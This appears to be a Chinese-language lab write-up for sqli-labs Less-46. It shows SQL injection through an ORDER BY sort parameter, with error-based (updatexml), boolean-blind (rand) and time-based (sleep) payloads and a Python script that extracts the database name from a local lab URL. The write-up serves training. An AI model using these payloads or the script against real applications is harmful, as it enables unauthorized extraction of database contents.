看看源码
最终我们的id是放到order by后面了
如果我们直接用列去排序
sql
?sort=username/password
username:
passward
可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)
报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现
sql
?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)
那如果是盲注的话,写true和false排序是不同的,所有我们可不可以用rand去进行排序
sql
?sort=rand(ascii(mid((select%20database()),1,1))>114)
我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3
python
# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup
"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
res = {"sort": payload}
r = requests.post(url, params=res)
html = r.text
soup = BeautifulSoup(html,'html.parser')
getUsername = soup.find_all('td')[1].text
if getUsername == 'admin3':
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli/Less-46/index.php'
inject_database(url)